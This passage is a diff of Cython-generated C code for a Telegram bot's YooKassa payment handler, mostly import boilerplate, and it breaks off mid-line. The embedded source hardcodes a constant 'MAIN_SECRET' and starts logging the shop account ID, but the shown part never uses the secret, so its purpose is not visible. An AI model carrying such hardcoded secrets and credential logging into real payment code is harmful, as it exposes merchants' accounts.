__pyx_L1_error); + __Pyx_INCREF(__pyx_n_s_types); + __Pyx_GIVEREF(__pyx_n_s_types); + if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 2, __pyx_n_s_types)) __PYX_ERR(0, 4, __pyx_L1_error); + __pyx_t_2 = __Pyx_Import(__pyx_n_s_aiogram, __pyx_t_3, 0); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 4, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_F); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 4, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_F, __pyx_t_3) < 0) __PYX_ERR(0, 4, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_Router); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 4, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_Router, __pyx_t_3) < 0) __PYX_ERR(0, 4, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_types); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 4, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_types, __pyx_t_3) < 0) __PYX_ERR(0, 4, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/yookassa_pay.py":5 + * + * from aiogram import F, Router, types + * from aiogram.fsm.context import FSMContext # <<<<<<<<<<<<<< + * from aiogram.fsm.state import State, StatesGroup + * from aiogram.types import InlineKeyboardButton, InlineKeyboardMarkup + */ + __pyx_t_2 = PyList_New(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 5, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_INCREF(__pyx_n_s_FSMContext); + __Pyx_GIVEREF(__pyx_n_s_FSMContext); + if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 0, __pyx_n_s_FSMContext)) __PYX_ERR(0, 5, __pyx_L1_error); + __pyx_t_3 = __Pyx_Import(__pyx_n_s_aiogram_fsm_context, __pyx_t_2, 0); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 5, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_FSMContext); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 5, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_FSMContext, __pyx_t_2) < 0) __PYX_ERR(0, 5, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/yookassa_pay.py":6 + * from aiogram import F, Router, types + * from aiogram.fsm.context import FSMContext + * from aiogram.fsm.state import State, StatesGroup # <<<<<<<<<<<<<< + * from aiogram.types import InlineKeyboardButton, InlineKeyboardMarkup + * from aiogram.utils.keyboard import InlineKeyboardBuilder + */ + __pyx_t_3 = PyList_New(2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 6, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_INCREF(__pyx_n_s_State); + __Pyx_GIVEREF(__pyx_n_s_State); + if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 0, __pyx_n_s_State)) __PYX_ERR(0, 6, __pyx_L1_error); + __Pyx_INCREF(__pyx_n_s_StatesGroup); + __Pyx_GIVEREF(__pyx_n_s_StatesGroup); + if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 1, __pyx_n_s_StatesGroup)) __PYX_ERR(0, 6, __pyx_L1_error); + __pyx_t_2 = __Pyx_Import(__pyx_n_s_aiogram_fsm_state, __pyx_t_3, 0); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 6, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_State); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 6, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_State, __pyx_t_3) < 0) __PYX_ERR(0, 6, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_StatesGroup); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 6, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_StatesGroup, __pyx_t_3) < 0) __PYX_ERR(0, 6, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/yookassa_pay.py":7 + * from aiogram.fsm.context import FSMContext + * from aiogram.fsm.state import State, StatesGroup + * from aiogram.types import InlineKeyboardButton, InlineKeyboardMarkup # <<<<<<<<<<<<<< + * from aiogram.utils.keyboard import InlineKeyboardBuilder + * from aiohttp import web + */ + __pyx_t_2 = PyList_New(2); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 7, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_INCREF(__pyx_n_s_InlineKeyboardButton); + __Pyx_GIVEREF(__pyx_n_s_InlineKeyboardButton); + if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 0, __pyx_n_s_InlineKeyboardButton)) __PYX_ERR(0, 7, __pyx_L1_error); + __Pyx_INCREF(__pyx_n_s_InlineKeyboardMarkup); + __Pyx_GIVEREF(__pyx_n_s_InlineKeyboardMarkup); + if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 1, __pyx_n_s_InlineKeyboardMarkup)) __PYX_ERR(0, 7, __pyx_L1_error); + __pyx_t_3 = __Pyx_Import(__pyx_n_s_aiogram_types, __pyx_t_2, 0); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 7, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 7, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_InlineKeyboardButton, __pyx_t_2) < 0) __PYX_ERR(0, 7, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_InlineKeyboardMarkup); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 7, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_InlineKeyboardMarkup, __pyx_t_2) < 0) __PYX_ERR(0, 7, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/yookassa_pay.py":8 + * from aiogram.fsm.state import State, StatesGroup + * from aiogram.types import InlineKeyboardButton, InlineKeyboardMarkup + * from aiogram.utils.keyboard import InlineKeyboardBuilder # <<<<<<<<<<<<<< + * from aiohttp import web + * from yookassa import Configuration, Payment + */ + __pyx_t_3 = PyList_New(1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 8, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_INCREF(__pyx_n_s_InlineKeyboardBuilder); + __Pyx_GIVEREF(__pyx_n_s_InlineKeyboardBuilder); + if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 0, __pyx_n_s_InlineKeyboardBuilder)) __PYX_ERR(0, 8, __pyx_L1_error); + __pyx_t_2 = __Pyx_Import(__pyx_n_s_aiogram_utils_keyboard, __pyx_t_3, 0); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 8, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_InlineKeyboardBuilder); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 8, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_InlineKeyboardBuilder, __pyx_t_3) < 0) __PYX_ERR(0, 8, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/yookassa_pay.py":9 + * from aiogram.types import InlineKeyboardButton, InlineKeyboardMarkup + * from aiogram.utils.keyboard import InlineKeyboardBuilder + * from aiohttp import web # <<<<<<<<<<<<<< + * from yookassa import Configuration, Payment + * + */ + __pyx_t_2 = PyList_New(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 9, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_INCREF(__pyx_n_s_web); + __Pyx_GIVEREF(__pyx_n_s_web); + if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 0, __pyx_n_s_web)) __PYX_ERR(0, 9, __pyx_L1_error); + __pyx_t_3 = __Pyx_Import(__pyx_n_s_aiohttp, __pyx_t_2, 0); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 9, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_web); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 9, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_web, __pyx_t_2) < 0) __PYX_ERR(0, 9, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/yookassa_pay.py":10 + * from aiogram.utils.keyboard import InlineKeyboardBuilder + * from aiohttp import web + * from yookassa import Configuration, Payment # <<<<<<<<<<<<<< + * + * from config import YOOKASSA_ENABLE, YOOKASSA_SECRET_KEY, YOOKASSA_SHOP_ID + */ + __pyx_t_3 = PyList_New(2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 10, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_INCREF(__pyx_n_s_Configuration); + __Pyx_GIVEREF(__pyx_n_s_Configuration); + if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 0, __pyx_n_s_Configuration)) __PYX_ERR(0, 10, __pyx_L1_error); + __Pyx_INCREF(__pyx_n_s_Payment); + __Pyx_GIVEREF(__pyx_n_s_Payment); + if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 1, __pyx_n_s_Payment)) __PYX_ERR(0, 10, __pyx_L1_error); + __pyx_t_2 = __Pyx_Import(__pyx_n_s_yookassa_2, __pyx_t_3, 0); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 10, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_Configuration); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 10, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_Configuration, __pyx_t_3) < 0) __PYX_ERR(0, 10, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_Payment); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 10, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_Payment, __pyx_t_3) < 0) __PYX_ERR(0, 10, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/yookassa_pay.py":12 + * from yookassa import Configuration, Payment + * + * from config import YOOKASSA_ENABLE, YOOKASSA_SECRET_KEY, YOOKASSA_SHOP_ID # <<<<<<<<<<<<<< + * from database import ( + * add_connection, + */ + __pyx_t_2 = PyList_New(3); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 12, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_INCREF(__pyx_n_s_YOOKASSA_ENABLE); + __Pyx_GIVEREF(__pyx_n_s_YOOKASSA_ENABLE); + if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 0, __pyx_n_s_YOOKASSA_ENABLE)) __PYX_ERR(0, 12, __pyx_L1_error); + __Pyx_INCREF(__pyx_n_s_YOOKASSA_SECRET_KEY); + __Pyx_GIVEREF(__pyx_n_s_YOOKASSA_SECRET_KEY); + if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 1, __pyx_n_s_YOOKASSA_SECRET_KEY)) __PYX_ERR(0, 12, __pyx_L1_error); + __Pyx_INCREF(__pyx_n_s_YOOKASSA_SHOP_ID); + __Pyx_GIVEREF(__pyx_n_s_YOOKASSA_SHOP_ID); + if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 2, __pyx_n_s_YOOKASSA_SHOP_ID)) __PYX_ERR(0, 12, __pyx_L1_error); + __pyx_t_3 = __Pyx_Import(__pyx_n_s_config, __pyx_t_2, 0); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 12, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_YOOKASSA_ENABLE); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 12, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_YOOKASSA_ENABLE, __pyx_t_2) < 0) __PYX_ERR(0, 12, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_YOOKASSA_SECRET_KEY); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 12, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_YOOKASSA_SECRET_KEY, __pyx_t_2) < 0) __PYX_ERR(0, 12, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_YOOKASSA_SHOP_ID); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 12, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_YOOKASSA_SHOP_ID, __pyx_t_2) < 0) __PYX_ERR(0, 12, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/yookassa_pay.py":14 + * from config import YOOKASSA_ENABLE, YOOKASSA_SECRET_KEY, YOOKASSA_SHOP_ID + * from database import ( + * add_connection, # <<<<<<<<<<<<<< + * add_payment, + * check_connection_exists, + */ + __pyx_t_3 = PyList_New(5); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 14, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_INCREF(__pyx_n_s_add_connection); + __Pyx_GIVEREF(__pyx_n_s_add_connection); + if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 0, __pyx_n_s_add_connection)) __PYX_ERR(0, 14, __pyx_L1_error); + __Pyx_INCREF(__pyx_n_s_add_payment); + __Pyx_GIVEREF(__pyx_n_s_add_payment); + if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 1, __pyx_n_s_add_payment)) __PYX_ERR(0, 14, __pyx_L1_error); + __Pyx_INCREF(__pyx_n_s_check_connection_exists); + __Pyx_GIVEREF(__pyx_n_s_check_connection_exists); + if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 2, __pyx_n_s_check_connection_exists)) __PYX_ERR(0, 14, __pyx_L1_error); + __Pyx_INCREF(__pyx_n_s_get_key_count); + __Pyx_GIVEREF(__pyx_n_s_get_key_count); + if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 3, __pyx_n_s_get_key_count)) __PYX_ERR(0, 14, __pyx_L1_error); + __Pyx_INCREF(__pyx_n_s_update_balance); + __Pyx_GIVEREF(__pyx_n_s_update_balance); + if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 4, __pyx_n_s_update_balance)) __PYX_ERR(0, 14, __pyx_L1_error); + + /* "handlers/payments/yookassa_pay.py":13 + * + * from config import YOOKASSA_ENABLE, YOOKASSA_SECRET_KEY, YOOKASSA_SHOP_ID + * from database import ( # <<<<<<<<<<<<<< + * add_connection, + * add_payment, + */ + __pyx_t_2 = __Pyx_Import(__pyx_n_s_database, __pyx_t_3, 0); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 13, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_add_connection); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 13, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_add_connection, __pyx_t_3) < 0) __PYX_ERR(0, 14, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_add_payment); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 13, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_add_payment, __pyx_t_3) < 0) __PYX_ERR(0, 15, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_check_connection_exists); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 13, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_check_connection_exists, __pyx_t_3) < 0) __PYX_ERR(0, 16, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_get_key_count); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 13, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_get_key_count, __pyx_t_3) < 0) __PYX_ERR(0, 17, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_update_balance); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 13, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_update_balance, __pyx_t_3) < 0) __PYX_ERR(0, 18, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/yookassa_pay.py":20 + * update_balance, + * ) + * from handlers.payments.gift import YOOKASSA_HASH # <<<<<<<<<<<<<< + * from handlers.payments.utils import send_payment_success_notification + * from handlers.texts import PAYMENT_OPTIONS + */ + __pyx_t_2 = PyList_New(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 20, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_INCREF(__pyx_n_s_YOOKASSA_HASH); + __Pyx_GIVEREF(__pyx_n_s_YOOKASSA_HASH); + if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 0, __pyx_n_s_YOOKASSA_HASH)) __PYX_ERR(0, 20, __pyx_L1_error); + __pyx_t_3 = __Pyx_Import(__pyx_n_s_handlers_payments_gift, __pyx_t_2, 0); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 20, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_YOOKASSA_HASH); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 20, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_YOOKASSA_HASH, __pyx_t_2) < 0) __PYX_ERR(0, 20, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/yookassa_pay.py":21 + * ) + * from handlers.payments.gift import YOOKASSA_HASH + * from handlers.payments.utils import send_payment_success_notification # <<<<<<<<<<<<<< + * from handlers.texts import PAYMENT_OPTIONS + * from logger import logger + */ + __pyx_t_3 = PyList_New(1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 21, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_INCREF(__pyx_n_s_send_payment_success_notificatio); + __Pyx_GIVEREF(__pyx_n_s_send_payment_success_notificatio); + if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 0, __pyx_n_s_send_payment_success_notificatio)) __PYX_ERR(0, 21, __pyx_L1_error); + __pyx_t_2 = __Pyx_Import(__pyx_n_s_handlers_payments_utils, __pyx_t_3, 0); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 21, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_send_payment_success_notificatio); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 21, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_send_payment_success_notificatio, __pyx_t_3) < 0) __PYX_ERR(0, 21, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/yookassa_pay.py":22 + * from handlers.payments.gift import YOOKASSA_HASH + * from handlers.payments.utils import send_payment_success_notification + * from handlers.texts import PAYMENT_OPTIONS # <<<<<<<<<<<<<< + * from logger import logger + * + */ + __pyx_t_2 = PyList_New(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 22, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_INCREF(__pyx_n_s_PAYMENT_OPTIONS); + __Pyx_GIVEREF(__pyx_n_s_PAYMENT_OPTIONS); + if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 0, __pyx_n_s_PAYMENT_OPTIONS)) __PYX_ERR(0, 22, __pyx_L1_error); + __pyx_t_3 = __Pyx_Import(__pyx_n_s_handlers_texts, __pyx_t_2, 0); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 22, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 22, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_PAYMENT_OPTIONS, __pyx_t_2) < 0) __PYX_ERR(0, 22, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/yookassa_pay.py":23 + * from handlers.payments.utils import send_payment_success_notification + * from handlers.texts import PAYMENT_OPTIONS + * from logger import logger # <<<<<<<<<<<<<< + * + * router = Router() + */ + __pyx_t_3 = PyList_New(1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 23, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_INCREF(__pyx_n_s_logger); + __Pyx_GIVEREF(__pyx_n_s_logger); + if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 0, __pyx_n_s_logger)) __PYX_ERR(0, 23, __pyx_L1_error); + __pyx_t_2 = __Pyx_Import(__pyx_n_s_logger, __pyx_t_3, 0); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 23, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_logger); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 23, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_logger, __pyx_t_3) < 0) __PYX_ERR(0, 23, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/yookassa_pay.py":25 + * from logger import logger + * + * router = Router() # <<<<<<<<<<<<<< + * + * + */ + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_Router); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 25, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_3 = __Pyx_PyObject_CallNoArg(__pyx_t_2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 25, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + if (PyDict_SetItem(__pyx_d, __pyx_n_s_router, __pyx_t_3) < 0) __PYX_ERR(0, 25, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/yookassa_pay.py":28 + * + * + * MAIN_SECRET = "PIRAT4ETO5DLYA0TEBYA" # <<<<<<<<<<<<<< + * + * if YOOKASSA_ENABLE: + */ + if (PyDict_SetItem(__pyx_d, __pyx_n_s_MAIN_SECRET, __pyx_n_u_PIRAT4ETO5DLYA0TEBYA) < 0) __PYX_ERR(0, 28, __pyx_L1_error) + + /* "handlers/payments/yookassa_pay.py":30 + * MAIN_SECRET = "PIRAT4ETO5DLYA0TEBYA" + * + * if YOOKASSA_ENABLE: # <<<<<<<<<<<<<< + * Configuration.account_id = YOOKASSA_SHOP_ID + * Configuration.secret_key = YOOKASSA_SECRET_KEY + */ + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_YOOKASSA_ENABLE); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 30, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_4 = __Pyx_PyObject_IsTrue(__pyx_t_3); if (unlikely((__pyx_t_4 < 0))) __PYX_ERR(0, 30, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + if (__pyx_t_4) { + + /* "handlers/payments/yookassa_pay.py":31 + * + * if YOOKASSA_ENABLE: + * Configuration.account_id = YOOKASSA_SHOP_ID # <<<<<<<<<<<<<< + * Configuration.secret_key = YOOKASSA_SECRET_KEY + * logger.debug(f"Account ID: {YOOKASSA_SHOP_ID}") + */ + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_YOOKASSA_SHOP_ID); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 31, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_Configuration); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 31, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (__Pyx_PyObject_SetAttrStr(__pyx_t_2, __pyx_n_s_account_id, __pyx_t_3) < 0) __PYX_ERR(0, 31, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/yookassa_pay.py":32 + * if YOOKASSA_ENABLE: + * Configuration.account_id = YOOKASSA_SHOP_ID + * Configuration.secret_key = YOOKASSA_SECRET_KEY # <<<<<<<<<<<<<< + * logger.debug(f"Account 